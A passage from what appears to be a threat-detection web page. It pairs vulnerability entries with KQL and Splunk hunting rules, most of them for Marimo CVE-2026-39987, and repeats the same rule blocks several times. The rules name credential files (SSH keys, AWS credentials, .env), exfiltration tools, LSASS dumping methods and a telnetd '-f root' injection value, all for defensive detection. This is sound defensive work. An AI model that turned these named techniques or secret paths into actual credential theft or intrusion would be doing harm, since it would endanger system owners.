Rationale: Sysdig publicly reported the operator's specific objective in this campaign — .env credentials and SSH key exfiltration completed in <3 min. Pinning the search to marimo-descended shells plus the named credential paths makes this far higher fidelity than a generic credential-access rule and directly catches the documented TTP.
Cross-checked against:
• https://www.endorlabs.com/learn/root-in-one-request-marimos-critical-pre-auth-rce-cve-2026-39987
• https://thehackernews.com/2026/04/marimo-rce-flaw-cve-2026-39987.html
• https://www.bleepingcomputer.com/news/security/critical-marimo-pre-auth-rce-flaw-now-under-active-exploitation/
ATT&CKT1552.001T1552.004T1041
Data sourcesEndpoint.ProcessesEndpoint.Filesystem
let MarimoShells = DeviceProcessEvents
| where InitiatingProcessFileName == "marimo" or InitiatingProcessCommandLine has "marimo edit"
| where FileName in ("sh","bash","dash","zsh","ash")
| project DeviceId, DeviceName, ShellPid=ProcessId, ShellTime=Timestamp;
DeviceProcessEvents
| where InitiatingProcessFileName in ("sh","bash","dash","zsh","ash","busybox","marimo")
| where ProcessCommandLine has_any (".env","/.ssh/id_","/.ssh/authorized_keys","/.aws/credentials",".netrc","id_rsa","id_ed25519","kubeconfig")
or FileName in ("cat","less","more","tar","base64","curl","wget","scp","find","grep")
and ProcessCommandLine has_any (".env",".ssh",".aws","credentials")
| join kind=inner MarimoShells on DeviceId
| where Timestamp between (ShellTime .. ShellTime + 10m)
| project Timestamp, DeviceName, AccountName, FileName, ProcessCommandLine, InitiatingProcessCommandLine, ShellTime, ShellPid
| tstats summariesonly=t count min(_time) as firstTime max(_time) as lastTime values(Processes.process) as cmdline values(Processes.parent_process_name) as parent values(Processes.process_name) as proc from datamodel=Endpoint.Processes where (Processes.parent_process_name IN ("marimo","sh","bash","dash","zsh") OR Processes.parent_process="*marimo*") (Processes.process="*.env*" OR Processes.process="*/.ssh/id_*" OR Processes.process="*/.ssh/authorized_keys*" OR Processes.process="*/.aws/credentials*" OR Processes.process="*/.netrc*" OR Processes.process="*id_rsa*" OR Processes.process="*id_ed25519*") by Processes.dest Processes.user Processes.process_name Processes.parent_process_name
| `drop_dm_object_name(Processes)`
| `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)`
2026-01-264 use cases0 techniques3 kill-chain phases detected
Linux Kernel contains an integer overflow vulnerability in the create_elf_tables() function which could allow an unprivileged local user with access to SUID (or otherwise privileged) binary to escalate their privileges on the system. Vendor: Linux, Product: Kernel. Federal patch due: 2026-02-16.
CVEsCVE-2018-14634
Click any ATT&CK pill below to open it on the Matrix
Match vulnerability scanner output to the CVE(s) named in the article.
ATT&CKT1190
Data sourcesVulnerabilitiesDeviceInfoDeviceTvmSoftwareVulnerabilities
DeviceTvmSoftwareVulnerabilities
| where CveId in~ ("CVE-2018-14634")
| join kind=inner DeviceInfo on DeviceId
| project DeviceName, OSPlatform, CveId, VulnerabilitySeverityLevel, RecommendedSecurityUpdate
| tstats `summariesonly` count min(_time) as firstTime max(_time) as lastTime
from datamodel=Vulnerabilities
where Vulnerabilities.signature IN ("CVE-2018-14634")
by Vulnerabilities.dest, Vulnerabilities.signature, Vulnerabilities.severity, Vulnerabilities.cve
| `drop_dm_object_name(Vulnerabilities)`
| sort - severity
[LLM] Marimo CVE-2026-39987: WebSocket upgrade to unauthenticated /terminal/ws endpointExploitationHigh
Detects inbound HTTP/WebSocket requests to the Marimo /terminal/ws path on the default port 2718. The vulnerable endpoint skips validate_auth() and grants a full PTY shell on a successful upgrade — any external hit on this URL is high-fidelity exploitation evidence per the GitHub advisory GHSA-2679-6mx9-h9xc.
Rationale: The vulnerable path /terminal/ws and default port 2718 are explicitly named in the marimo GHSA-2679-6mx9-h9xc advisory; status 101 is the WebSocket upgrade response — combined with a non-RFC1918 source and a near-simultaneous shell child of marimo, FPs are negligible.
Cross-checked against:
• https://github.com/marimo-team/marimo/security/advisories/GHSA-2679-6mx9-h9xc
• https://www.endorlabs.com/learn/root-in-one-request-marimos-critical-pre-auth-rce-cve-2026-39987
• https://thehackernews.com/2026/04/marimo-rce-flaw-cve-2026-39987.html
ATT&CKT1190T1059.004
Data sourcesWebNetwork_Traffic.All_Traffic
DeviceNetworkEvents
| where ActionType in ("InboundConnectionAccepted","ConnectionAccepted")
| where LocalPort == 2718
| where InitiatingProcessFileName has_any ("marimo","python","python3","uvicorn") or InitiatingProcessCommandLine has "marimo"
| where RemoteIPType !in ("Loopback","Private")
| project Timestamp, DeviceName, RemoteIP, RemotePort, LocalPort, InitiatingProcessFileName, InitiatingProcessCommandLine, InitiatingProcessAccountName
| join kind=leftouter (DeviceProcessEvents
| where InitiatingProcessFileName has "marimo"
| where FileName in ("sh","bash","dash","zsh","ash","busybox")
| project ShellTime=Timestamp, DeviceName, ShellCmd=ProcessCommandLine, ShellPid=ProcessId) on DeviceName
| where ShellTime between (Timestamp .. Timestamp + 2m)
| tstats summariesonly=t count min(_time) as firstTime max(_time) as lastTime values(Web.http_method) as method values(Web.http_user_agent) as ua values(Web.status) as status values(Web.url) as url from datamodel=Web where Web.url="*/terminal/ws*" (Web.dest_port=2718 OR Web.url="*marimo*") by Web.src Web.dest Web.dest_port
| `drop_dm_object_name(Web)`
| where status="101" OR isnull(status)
| `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)`
[LLM] Marimo CVE-2026-39987: marimo process spawning interactive shell childExploitationHigh
Hunts the post-exploitation primitive of CVE-2026-39987 — successful WebSocket exploitation gives the attacker a full PTY shell whose immediate parent is the marimo Python service. A marimo binary spawning sh/bash/dash/zsh as a child is the direct effect of the bug and is not part of normal notebook execution flow.
Rationale: The Endor Labs and Sysdig writeups confirm exploitation lands as a PTY shell whose immediate ancestor is the marimo service process; in normal operation marimo executes Python kernels, not /bin/sh. Direct lineage marimo→sh is therefore both rare and a deterministic exploit signal.
Cross-checked against:
• https://github.com/marimo-team/marimo/security/advisories/GHSA-2679-6mx9-h9xc
• https://www.endorlabs.com/learn/root-in-one-request-marimos-critical-pre-auth-rce-cve-2026-39987
• https://www.bleepingcomputer.com/news/security/critical-marimo-pre-auth-rce-flaw-now-under-active-exploitation/
ATT&CKT1059.004T1190
Data sourcesEndpoint.Processes
DeviceProcessEvents
| where InitiatingProcessFileName == "marimo"
or InitiatingProcessCommandLine has "marimo edit"
or (InitiatingProcessFileName in ("python","python3") and InitiatingProcessCommandLine has "marimo")
| where FileName in ("sh","bash","dash","zsh","ash","busybox")
| where ProcessCommandLine !has "marimo run" // ignore legitimate notebook subprocess wrappers if any
| project Timestamp, DeviceName, AccountName, FileName, ProcessCommandLine, InitiatingProcessFileName, InitiatingProcessCommandLine, InitiatingProcessId, ProcessId
| extend AlertTitle = "Marimo CVE-2026-39987 PTY shell spawn"
| tstats summariesonly=t count min(_time) as firstTime max(_time) as lastTime values(Processes.process) as process values(Processes.process_id) as pid values(Processes.parent_process) as parent_process from datamodel=Endpoint.Processes where (Processes.parent_process_name="marimo" OR Processes.parent_process="*marimo edit*" OR Processes.parent_process="*marimo*--host*") Processes.process_name IN ("sh","bash","dash","zsh","ash","busybox") by Processes.dest Processes.user Processes.parent_process_name Processes.process_name Processes.parent_process_id
| `drop_dm_object_name(Processes)`
| `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)`
[LLM] Marimo CVE-2026-39987: credential & SSH key theft from marimo-parented shellActions on ObjectivesHigh
Hunts the documented Sysdig post-exploit objective — within 3 minutes of landing the PTY shell, the operator harvested .env files, SSH private keys, and cloud credentials. Detects any marimo descendant process touching common credential files, capturing the specific TTP reported in this campaign.
Rationale: Sysdig publicly reported the operator's specific objective in this campaign — .env credentials and SSH key exfiltration completed in <3 min. Pinning the search to marimo-descended shells plus the named credential paths makes this far higher fidelity than a generic credential-access rule and directly catches the documented TTP.
Cross-checked against:
• https://www.endorlabs.com/learn/root-in-one-request-marimos-critical-pre-auth-rce-cve-2026-39987
• https://thehackernews.com/2026/04/marimo-rce-flaw-cve-2026-39987.html
• https://www.bleepingcomputer.com/news/security/critical-marimo-pre-auth-rce-flaw-now-under-active-exploitation/
ATT&CKT1552.001T1552.004T1041
Data sourcesEndpoint.ProcessesEndpoint.Filesystem
let MarimoShells = DeviceProcessEvents
| where InitiatingProcessFileName == "marimo" or InitiatingProcessCommandLine has "marimo edit"
| where FileName in ("sh","bash","dash","zsh","ash")
| project DeviceId, DeviceName, ShellPid=ProcessId, ShellTime=Timestamp;
DeviceProcessEvents
| where InitiatingProcessFileName in ("sh","bash","dash","zsh","ash","busybox","marimo")
| where ProcessCommandLine has_any (".env","/.ssh/id_","/.ssh/authorized_keys","/.aws/credentials",".netrc","id_rsa","id_ed25519","kubeconfig")
or FileName in ("cat","less","more","tar","base64","curl","wget","scp","find","grep")
and ProcessCommandLine has_any (".env",".ssh",".aws","credentials")
| join kind=inner MarimoShells on DeviceId
| where Timestamp between (ShellTime .. ShellTime + 10m)
| project Timestamp, DeviceName, AccountName, FileName, ProcessCommandLine, InitiatingProcessCommandLine, ShellTime, ShellPid
| tstats summariesonly=t count min(_time) as firstTime max(_time) as lastTime values(Processes.process) as cmdline values(Processes.parent_process_name) as parent values(Processes.process_name) as proc from datamodel=Endpoint.Processes where (Processes.parent_process_name IN ("marimo","sh","bash","dash","zsh") OR Processes.parent_process="*marimo*") (Processes.process="*.env*" OR Processes.process="*/.ssh/id_*" OR Processes.process="*/.ssh/authorized_keys*" OR Processes.process="*/.aws/credentials*" OR Processes.process="*/.netrc*" OR Processes.process="*id_rsa*" OR Processes.process="*id_ed25519*") by Processes.dest Processes.user Processes.process_name Processes.parent_process_name
| `drop_dm_object_name(Processes)`
| `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)`
2026-01-267 use cases2 techniques3 kill-chain phases detected
SmarterTools SmarterMail contains an unrestricted upload of file with dangerous type vulnerability that could allow an unauthenticated attacker to upload arbitrary files to any location on the mail server, potentially enabling remote code execution. Vendor: SmarterTools, Product: SmarterMail. Known ransomware use: Known. Federal patch due: 2026-02-16.
CVEsCVE-2025-52691
ATT&CKT1190T1486
Click any ATT&CK pill below to open it on the Matrix
Match vulnerability scanner output to the CVE(s) named in the article.
ATT&CKT1190
Data sourcesVulnerabilitiesDeviceInfoDeviceTvmSoftwareVulnerabilities
DeviceTvmSoftwareVulnerabilities
| where CveId in~ ("CVE-2025-52691")
| join kind=inner DeviceInfo on DeviceId
| project DeviceName, OSPlatform, CveId, VulnerabilitySeverityLevel, RecommendedSecurityUpdate
| tstats `summariesonly` count min(_time) as firstTime max(_time) as lastTime
from datamodel=Vulnerabilities
where Vulnerabilities.signature IN ("CVE-2025-52691")
by Vulnerabilities.dest, Vulnerabilities.signature, Vulnerabilities.severity, Vulnerabilities.cve
| `drop_dm_object_name(Vulnerabilities)`
| sort - severity
Ransomware-style mass file rename / extension changeActions on ObjectivesMedium
Threshold detection: many files renamed in short window, often with new extension.
ATT&CKT1486
Data sourcesEndpoint.FilesystemDeviceFileEvents
DeviceFileEvents
| where Timestamp > ago(1d)
| where ActionType in ("FileRenamed","FileModified")
| summarize files = dcount(FileName) by DeviceName, AccountName, bin(Timestamp, 1m)
| where files > 200
| order by files desc
| tstats `summariesonly` count, dc(Filesystem.file_name) AS files
from datamodel=Endpoint.Filesystem
where Filesystem.action IN ("modified","renamed")
by Filesystem.dest, Filesystem.user, _time span=1m
| `drop_dm_object_name(Filesystem)`
| where files > 200
| sort - files
LSASS process access / dump (credential theft)Actions on ObjectivesHigh
Mimikatz, comsvcs.dll MiniDump, or any non-Windows process opening LSASS.
ATT&CKT1003.001T1003
Data sourcesEndpoint.ProcessesDeviceEvents
DeviceEvents
| where Timestamp > ago(7d)
| where ActionType == "OpenProcessApiCall"
| where FileName =~ "lsass.exe"
| where InitiatingProcessFileName !in~ ("MsSense.exe","MsMpEng.exe","csrss.exe",
"svchost.exe","wininit.exe","services.exe",
"lsm.exe","SearchProtocolHost.exe")
| project Timestamp, DeviceName, ActionType, FileName,
InitiatingProcessFileName, InitiatingProcessCommandLine,
InitiatingProcessFolderPath, AccountName
| order by Timestamp desc
| tstats `summariesonly` count min(_time) as firstTime max(_time) as lastTime
from datamodel=Endpoint.Processes
where (Processes.process="*lsass*" OR Processes.process="*sekurlsa*"
OR Processes.process="*MiniDump*" OR Processes.process="*comsvcs.dll*MiniDump*"
OR Processes.process="*procdump*lsass*")
OR (Processes.process_name="rundll32.exe" AND Processes.process="*comsvcs*MiniDump*")
by Processes.dest, Processes.user, Processes.process_name, Processes.process, Processes.parent_process_name
| `drop_dm_object_name(Processes)`
Remote service execution — PsExec / SMB lateral movementActions on ObjectivesHigh
psexec / paexec / smbexec / wmic /node — service install over SMB from remote host.
ATT&CKT1021.002T1569.002
Data sourcesEndpoint.ProcessesDeviceProcessEvents
DeviceProcessEvents
| where Timestamp > ago(7d)
| where FileName in~ ("psexec.exe","psexesvc.exe","paexec.exe","smbexec.py")
or (FileName =~ "wmic.exe" and ProcessCommandLine has "/node:")
| project Timestamp, DeviceName, AccountName, FileName, ProcessCommandLine
| tstats `summariesonly` count min(_time) as firstTime max(_time) as lastTime
from datamodel=Endpoint.Processes
where Processes.process_name IN ("psexec.exe","psexesvc.exe","paexec.exe","smbexec.py")
OR (Processes.process_name="wmic.exe" AND Processes.process="*/node:*")
by Processes.dest, Processes.user, Processes.process_name, Processes.process, Processes.parent_process_name
| `drop_dm_object_name(Processes)`
[LLM] Marimo CVE-2026-39987: WebSocket upgrade to unauthenticated /terminal/ws endpointExploitationHigh
Detects inbound HTTP/WebSocket requests to the Marimo /terminal/ws path on the default port 2718. The vulnerable endpoint skips validate_auth() and grants a full PTY shell on a successful upgrade — any external hit on this URL is high-fidelity exploitation evidence per the GitHub advisory GHSA-2679-6mx9-h9xc.
Rationale: The vulnerable path /terminal/ws and default port 2718 are explicitly named in the marimo GHSA-2679-6mx9-h9xc advisory; status 101 is the WebSocket upgrade response — combined with a non-RFC1918 source and a near-simultaneous shell child of marimo, FPs are negligible.
Cross-checked against:
• https://github.com/marimo-team/marimo/security/advisories/GHSA-2679-6mx9-h9xc
• https://www.endorlabs.com/learn/root-in-one-request-marimos-critical-pre-auth-rce-cve-2026-39987
• https://thehackernews.com/2026/04/marimo-rce-flaw-cve-2026-39987.html
ATT&CKT1190T1059.004
Data sourcesWebNetwork_Traffic.All_Traffic
DeviceNetworkEvents
| where ActionType in ("InboundConnectionAccepted","ConnectionAccepted")
| where LocalPort == 2718
| where InitiatingProcessFileName has_any ("marimo","python","python3","uvicorn") or InitiatingProcessCommandLine has "marimo"
| where RemoteIPType !in ("Loopback","Private")
| project Timestamp, DeviceName, RemoteIP, RemotePort, LocalPort, InitiatingProcessFileName, InitiatingProcessCommandLine, InitiatingProcessAccountName
| join kind=leftouter (DeviceProcessEvents
| where InitiatingProcessFileName has "marimo"
| where FileName in ("sh","bash","dash","zsh","ash","busybox")
| project ShellTime=Timestamp, DeviceName, ShellCmd=ProcessCommandLine, ShellPid=ProcessId) on DeviceName
| where ShellTime between (Timestamp .. Timestamp + 2m)
| tstats summariesonly=t count min(_time) as firstTime max(_time) as lastTime values(Web.http_method) as method values(Web.http_user_agent) as ua values(Web.status) as status values(Web.url) as url from datamodel=Web where Web.url="*/terminal/ws*" (Web.dest_port=2718 OR Web.url="*marimo*") by Web.src Web.dest Web.dest_port
| `drop_dm_object_name(Web)`
| where status="101" OR isnull(status)
| `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)`
[LLM] Marimo CVE-2026-39987: marimo process spawning interactive shell childExploitationHigh
Hunts the post-exploitation primitive of CVE-2026-39987 — successful WebSocket exploitation gives the attacker a full PTY shell whose immediate parent is the marimo Python service. A marimo binary spawning sh/bash/dash/zsh as a child is the direct effect of the bug and is not part of normal notebook execution flow.
Rationale: The Endor Labs and Sysdig writeups confirm exploitation lands as a PTY shell whose immediate ancestor is the marimo service process; in normal operation marimo executes Python kernels, not /bin/sh. Direct lineage marimo→sh is therefore both rare and a deterministic exploit signal.
Cross-checked against:
• https://github.com/marimo-team/marimo/security/advisories/GHSA-2679-6mx9-h9xc
• https://www.endorlabs.com/learn/root-in-one-request-marimos-critical-pre-auth-rce-cve-2026-39987
• https://www.bleepingcomputer.com/news/security/critical-marimo-pre-auth-rce-flaw-now-under-active-exploitation/
ATT&CKT1059.004T1190
Data sourcesEndpoint.Processes
DeviceProcessEvents
| where InitiatingProcessFileName == "marimo"
or InitiatingProcessCommandLine has "marimo edit"
or (InitiatingProcessFileName in ("python","python3") and InitiatingProcessCommandLine has "marimo")
| where FileName in ("sh","bash","dash","zsh","ash","busybox")
| where ProcessCommandLine !has "marimo run" // ignore legitimate notebook subprocess wrappers if any
| project Timestamp, DeviceName, AccountName, FileName, ProcessCommandLine, InitiatingProcessFileName, InitiatingProcessCommandLine, InitiatingProcessId, ProcessId
| extend AlertTitle = "Marimo CVE-2026-39987 PTY shell spawn"
| tstats summariesonly=t count min(_time) as firstTime max(_time) as lastTime values(Processes.process) as process values(Processes.process_id) as pid values(Processes.parent_process) as parent_process from datamodel=Endpoint.Processes where (Processes.parent_process_name="marimo" OR Processes.parent_process="*marimo edit*" OR Processes.parent_process="*marimo*--host*") Processes.process_name IN ("sh","bash","dash","zsh","ash","busybox") by Processes.dest Processes.user Processes.parent_process_name Processes.process_name Processes.parent_process_id
| `drop_dm_object_name(Processes)`
| `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)`
[LLM] Marimo CVE-2026-39987: credential & SSH key theft from marimo-parented shellActions on ObjectivesHigh
Hunts the documented Sysdig post-exploit objective — within 3 minutes of landing the PTY shell, the operator harvested .env files, SSH private keys, and cloud credentials. Detects any marimo descendant process touching common credential files, capturing the specific TTP reported in this campaign.
Rationale: Sysdig publicly reported the operator's specific objective in this campaign — .env credentials and SSH key exfiltration completed in <3 min. Pinning the search to marimo-descended shells plus the named credential paths makes this far higher fidelity than a generic credential-access rule and directly catches the documented TTP.
Cross-checked against:
• https://www.endorlabs.com/learn/root-in-one-request-marimos-critical-pre-auth-rce-cve-2026-39987
• https://thehackernews.com/2026/04/marimo-rce-flaw-cve-2026-39987.html
• https://www.bleepingcomputer.com/news/security/critical-marimo-pre-auth-rce-flaw-now-under-active-exploitation/
ATT&CKT1552.001T1552.004T1041
Data sourcesEndpoint.ProcessesEndpoint.Filesystem
let MarimoShells = DeviceProcessEvents
| where InitiatingProcessFileName == "marimo" or InitiatingProcessCommandLine has "marimo edit"
| where FileName in ("sh","bash","dash","zsh","ash")
| project DeviceId, DeviceName, ShellPid=ProcessId, ShellTime=Timestamp;
DeviceProcessEvents
| where InitiatingProcessFileName in ("sh","bash","dash","zsh","ash","busybox","marimo")
| where ProcessCommandLine has_any (".env","/.ssh/id_","/.ssh/authorized_keys","/.aws/credentials",".netrc","id_rsa","id_ed25519","kubeconfig")
or FileName in ("cat","less","more","tar","base64","curl","wget","scp","find","grep")
and ProcessCommandLine has_any (".env",".ssh",".aws","credentials")
| join kind=inner MarimoShells on DeviceId
| where Timestamp between (ShellTime .. ShellTime + 10m)
| project Timestamp, DeviceName, AccountName, FileName, ProcessCommandLine, InitiatingProcessCommandLine, ShellTime, ShellPid
| tstats summariesonly=t count min(_time) as firstTime max(_time) as lastTime values(Processes.process) as cmdline values(Processes.parent_process_name) as parent values(Processes.process_name) as proc from datamodel=Endpoint.Processes where (Processes.parent_process_name IN ("marimo","sh","bash","dash","zsh") OR Processes.parent_process="*marimo*") (Processes.process="*.env*" OR Processes.process="*/.ssh/id_*" OR Processes.process="*/.ssh/authorized_keys*" OR Processes.process="*/.aws/credentials*" OR Processes.process="*/.netrc*" OR Processes.process="*id_rsa*" OR Processes.process="*id_ed25519*") by Processes.dest Processes.user Processes.process_name Processes.parent_process_name
| `drop_dm_object_name(Processes)`
| `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)`
2026-01-264 use cases0 techniques3 kill-chain phases detected
GNU InetUtils contains an argument injection vulnerability in telnetd that could allow for remote authentication bypass via a "-f root" value for the USER environment variable. Vendor: GNU, Product: InetUtils. Federal patch due: 2026-02-16.
CVEsCVE-2026-24061
Click any ATT&CK pill below to open it on the Matrix
Match vulnerability scanner output to the CVE(s) named in the article.
ATT&CKT1190
Data sourcesVulnerabilitiesDeviceInfoDeviceTvmSoftwareVulnerabilities
DeviceTvmSoftwareVulnerabilities
| where CveId in~ ("CVE-2026-24061")
| join kind=inner DeviceInfo on DeviceId
| project DeviceName, OSPlatform, CveId, VulnerabilitySeverityLevel, RecommendedSecurityUpdate
| tstats `summariesonly` count min(_time) as firstTime max(_time) as lastTime
from datamodel=Vulnerabilities
where Vulnerabilities.signature IN ("CVE-2026-24061")
by Vulnerabilities.dest, Vulnerabilities.signature, Vulnerabilities.severity, Vulnerabilities.cve
| `drop_dm_object_name(Vulnerabilities)`
| sort - severity
[LLM] Marimo CVE-2026-39987: WebSocket upgrade to unauthenticated /terminal/ws endpointExploitationHigh
Detects inbound HTTP/WebSocket requests to the Marimo /terminal/ws path on the default port 2718. The vulnerable endpoint skips validate_auth() and grants a full PTY shell on a successful upgrade — any external hit on this URL is high-fidelity exploitation evidence per the GitHub advisory GHSA-2679-6mx9-h9xc.
Rationale: The vulnerable path /terminal/ws and default port 2718 are explicitly named in the marimo GHSA-2679-6mx9-h9xc advisory; status 101 is the WebSocket upgrade response — combined with a non-RFC1918 source and a near-simultaneous shell child of marimo, FPs are negligible.
Cross-checked against:
• https://github.com/marimo-team/marimo/security/advisories/GHSA-2679-6mx9-h9xc
• https://www.endorlabs.com/learn/root-in-one-request-marimos-critical-pre-auth-rce-cve-2026-39987
• https://thehackernews.com/2026/04/marimo-rce-flaw-cve-2026-39987.html
ATT&CKT1190T1059.004
Data sourcesWebNetwork_Traffic.All_Traffic
DeviceNetworkEvents
| where ActionType in ("InboundConnectionAccepted","ConnectionAccepted")
| where LocalPort == 2718
| where InitiatingProcessFileName has_any ("marimo","python","python3","uvicorn") or InitiatingProcessCommandLine has "marimo"
| where RemoteIPType !in ("Loopback","Private")
| project Timestamp, DeviceName, RemoteIP, RemotePort, LocalPort, InitiatingProcessFileName, InitiatingProcessCommandLine, InitiatingProcessAccountName
| join kind=leftouter (DeviceProcessEvents
| where InitiatingProcessFileName has "marimo"
| where FileName in ("sh","bash","dash","zsh","ash","busybox")
| project ShellTime=Timestamp, DeviceName, ShellCmd=ProcessCommandLine, ShellPid=ProcessId) on DeviceName
| where ShellTime between (Timestamp .. Timestamp + 2m)
| tstats summariesonly=t count min(_time) as firstTime max(_time) as lastTime values(Web.http_method) as method values(Web.http_user_agent) as ua values(Web.status) as status values(Web.url) as url from datamodel=Web where Web.url="*/terminal/ws*" (Web.dest_port=2718 OR Web.url="*marimo*") by Web.src Web.dest Web.dest_port
| `drop_dm_object_name(Web)`
| where status="101" OR isnull(status)
| `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)`
[LLM] Marimo CVE-2026-39987: marimo process spawning interactive shell childExploitationHigh
Hunts the post-exploitation primitive of CVE-2026-39987 — successful WebSocket exploitation gives the attacker a full PTY shell whose immediate parent is the marimo Python service. A marimo binary spawning sh/bash/dash/zsh as a child is the direct effect of the bug and is not part of normal notebook execution flow.
Rationale: The Endor Labs and Sysdig writeups confirm exploitation lands as a PTY shell whose immediate ancestor is the marimo service process; in normal operation marimo executes Python kernels, not /bin/sh. Direct lineage marimo→sh is therefore both rare and a deterministic exploit signal.
Cross-checked against:
• https://github.com/marimo-team/marimo/security/advisories/GHSA-2679-6mx9-h9xc
• https://www.endorlabs.com/learn/root-in-one-request-marimos-critical-pre-auth-rce-cve-2026-39987
• https://www.bleepingcomputer.com/news/security/critical-marimo-pre-auth-rce-flaw-now-under-active-exploitation/
ATT&CKT1059.004T1190
Data sourcesEndpoint.Processes
DeviceProcessEvents
| where InitiatingProcessFileName == "marimo"
or InitiatingProcessCommandLine has "marimo edit"
or (InitiatingProcessFileName in ("python","python3") and InitiatingProcessCommandLine has "marimo")
| where FileName in ("sh","bash","dash","zsh","ash","busybox")
| where ProcessCommandLine !has "marimo run" // ignore legitimate notebook subprocess wrappers if any
| project Timestamp, DeviceName, AccountName, FileName, ProcessCommandLine, InitiatingProcessFileName, InitiatingProcessCommandLine, InitiatingProcessId, ProcessId
| extend AlertTitle = "Marimo CVE-2026-39987 PTY shell spawn"
| tstats summariesonly=t count min(_time) as firstTime max(_time) as lastTime values(Processes.process) as process values(Processes.process_id) as pid values(Processes.parent_process) as parent_process from datamodel=Endpoint.Processes where (Processes.parent_process_name="marimo" OR Processes.parent_process="*marimo edit*" OR Processes.parent_process="*marimo*--host*") Processes.process_name IN ("sh","bash","dash","zsh","ash","busybox") by Processes.dest Processes.user Processes.parent_process_name Processes.process_name Processes.parent_process_id
| `drop_dm_object_name(Processes)`
| `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)`
[LLM] Marimo CVE-2026-39987: credential & SSH key theft from marimo-parented shellActions on ObjectivesHigh
Hunts the documented Sysdig post-exploit objective — within 3 minutes of landing the PTY shell, the operator harvested .env files, SSH private keys, and cloud credentials. Detects any marimo descendant process touching common credential files, capturing the specific TTP reported in this campaign.
Rationale: Sysdig publicly reported the operator's specific objective in this campaign — .env credentials and SSH key exfiltration completed in <3 min. Pinning the search to marimo-descended shells plus the named credential paths makes this far higher fidelity than a generic credential-access rule and directly catches the documented TTP.
Cross-checked against:
• https://www.endorlabs.com/learn/root-in-one-request-marimos-critical-pre-auth-rce-cve-2026-39987
• https://thehackernews.com/2026/04/marimo-rce-flaw-cve-2026-39987.html
• https://www.bleepingcomputer.com/news/security/critical-marimo-pre-auth-rce-flaw-now-under-active-exploitation/
ATT&CKT1552.001T1552.004T1041
Data sourcesEndpoint.ProcessesEndpoint.Filesystem
let MarimoShells = DeviceProcessEvents
| where InitiatingProcessFileName == "marimo" or InitiatingProcessCommandLine has "marimo edit"
| where FileName in ("sh","bash","dash","zsh","ash")
| project DeviceId, DeviceName, ShellPid=ProcessId, ShellTime=Timestamp;
DeviceProcessEvents
| where InitiatingProcessFileName in ("sh","bash","dash","zsh","ash","busybox","marimo")
| where ProcessCommandLine has_any (".env","/.ssh/id_","/.ssh/authorized_keys","/.aws/credentials",".netrc","id_rsa","id_ed25519","kubeconfig")
or FileName in ("cat","less","more","tar","base64","curl","wget","scp","find","grep")
and ProcessCommandLine has_any (".env",".ssh",".aws","credentials")
| join kind=inner MarimoShells on DeviceId
| where Timestamp between (ShellTime .. ShellTime + 10m)
| project Timestamp, DeviceName, AccountName, FileName, ProcessCommandLine, InitiatingProcessCommandLine, ShellTime, ShellPid
| tstats summariesonly=t count min(_time) as firstTime max(_time) as lastTime values(Processes.process) as cmdline values(Processes.parent_process_name) as parent values(Processes.process_name) as proc from datamodel=Endpoint.Processes where (Processes.parent_process_name IN ("marimo","sh","bash","dash","zsh") OR Processes.parent_process="*marimo*") (Processes.process="*.env*" OR Processes.process="*/.ssh/id_*" OR Processes.process="*/.ssh/authorized_keys*" OR Processes.process="*/.aws/credentials*" OR Processes.process="*/.netrc*" OR Processes.process="*id_rsa*" OR Processes.process="*id_ed25519*") by Processes.dest Processes.user Processes.process_name Processes.parent_process_name
| `drop_dm_object_name(Processes)`
| `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)`
2026-01-264 use cases0 techniques3 kill-chain phases detected
Microsoft Office contains a security feature bypass vulnerability in which reliance on untrusted inputs in a security decision in Microsoft Office could allow an unauthorized attacker to bypass a security feature locally. Some of the impacted product(s) could be end-of-life (EoL) and/or end-of-service (EoS). Users are advised to discontinue use and/or transition to a supported version. Vendor: Microsoft, Product: Office. Federal patch due: 2026-02-16.
CVEsCVE-2026-21509
Click any ATT&CK pill below to open it on the Matrix
Match vulnerability scanner output to the CVE(s) named in the article.
ATT&CKT1190
Data sourcesVulnerabilitiesDeviceInfoDeviceTvmSoftwareVulnerabilities
DeviceTvmSoftwareVulnerabilities
| where CveId in~ ("CVE-2026-21509")
| join kind=inner DeviceInfo on DeviceId
| project DeviceName, OSPlatform, CveId, VulnerabilitySeverityLevel, RecommendedSecurityUpdate
| tstats `summariesonly` count min(_time) as firstTime max(_time) as lastTime
from datamodel=Vulnerabilities
where Vulnerabilities.signature IN ("CVE-2026-21509")
by Vulnerabilities.dest, Vulnerabilities.signature, Vulnerabilities.severity, Vulnerabilities.cve
| `drop_dm_object_name(Vulnerabilities)`
| sort - severity
[LLM] Marimo CVE-2026-39987: WebSocket upgrade to unauthenticated /terminal/ws endpointExploitationHigh
Detects inbound HTTP/WebSocket requests to the Marimo /terminal/ws path on the default port 2718. The vulnerable endpoint skips validate_auth() and grants a full PTY shell on a successful upgrade — any external hit on this URL is high-fidelity exploitation evidence per the GitHub advisory GHSA-2679-6mx9-h9xc.
Rationale: The vulnerable path /terminal/ws and default port 2718 are explicitly named in the marimo GHSA-2679-6mx9-h9xc advisory; status 101 is the WebSocket upgrade response — combined with a non-RFC1918 source and a near-simultaneous shell child of marimo, FPs are negligible.
Cross-checked against:
• https://github.com/marimo-team/marimo/security/advisories/GHSA-2679-6mx9-h9xc
• https://www.endorlabs.com/learn/root-in-one-request-marimos-critical-pre-auth-rce-cve-2026-39987
• https://thehackernews.com/2026/04/marimo-rce-flaw-cve-2026-39987.html
ATT&CKT1190T1059.004
Data sourcesWebNetwork_Traffic.All_Traffic
DeviceNetworkEvents
| where ActionType in ("InboundConnectionAccepted","ConnectionAccepted")
| where LocalPort == 2718
| where InitiatingProcessFileName has_any ("marimo","python","python3","uvicorn") or InitiatingProcessCommandLine has "marimo"
| where RemoteIPType !in ("Loopback","Private")
| project Timestamp, DeviceName, RemoteIP, RemotePort, LocalPort, InitiatingProcessFileName, InitiatingProcessCommandLine, InitiatingProcessAccountName
| join kind=leftouter (DeviceProcessEvents
| where InitiatingProcessFileName has "marimo"
| where FileName in ("sh","bash","dash","zsh","ash","busybox")
